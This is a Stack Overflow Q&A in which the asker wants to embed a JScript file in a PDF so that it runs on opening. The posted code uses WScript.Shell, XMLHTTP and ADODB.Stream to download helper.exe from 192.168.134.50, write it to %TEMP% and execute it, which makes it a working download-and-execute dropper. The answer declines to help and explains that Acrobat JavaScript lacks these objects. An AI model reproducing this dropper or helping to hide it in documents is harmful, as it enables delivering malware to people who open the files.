0

I am struggling with embedding a helper.js (that works if executed independently) into a PDF.

The function of the helper.js is to download from a webserver and execute within a shell. How do i embed this javascript code within the PDF such that it can execute ?

Below is my helper.js code :

var actxObj = this.ActiveXObject;
var wsObj = new actxObj("WScript.Shell");
var ajaxObj = new actxObj("MSXML2.XMLHTTP");
var helperPath = wsObj.ExpandEnvironmentStrings("%TEMP%") + "/helper.exe";

ajaxObj.onreadystatechange = function() {
    if (ajaxObj.readystate === 4) {
        var adoObj = new actxObj("ADODB.Stream");
        adoObj.open();
        adoObj.type = 1;
        adoObj.write(ajaxObj.ResponseBody);
        adoObj.position = 0;
        adoObj.saveToFile(helperPath, 2);
        adoObj.close();
    };
};

try {

    ajaxObj.open("GET", "http://192.168.134.50/tools/helper.exe", false);
    ajaxObj.send();
    wsObj.Run(helperPath, 1, false);
} catch (e) {};
3
  • How does the code look like that you use to insert the js into the pdf? Commented Jun 13, 2017 at 7:09
  • this is the exact code i tried adding into the PDF structure but it doesnt seem to trigger when i execute the PDF ... Commented Jun 13, 2017 at 7:12
  • it can be a new PDF or a existing PDF, perhaps you could demonstrate how this js code can be injected into a new crafted PDF? @StefanHegny Commented Jun 13, 2017 at 7:13

1 Answer 1

1

What you listed isn't using the Acrobat extensions to the JavaScript core. It's never going to run in a PDF. Acrobat extends the JavaScript core only. JavaScript that runs in an HTML browser simply won't work in a PDF. Acrobat and other PDF viewers that interpret the Acrobat extensions to JavaScript have a completely different object and event model.

Sign up to request clarification or add additional context in comments.

2 Comments

could you share an example of integrating this Javascript code in PDF ?
That code specifically? No. It uses objects that are not in Acrobat JavaScript.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.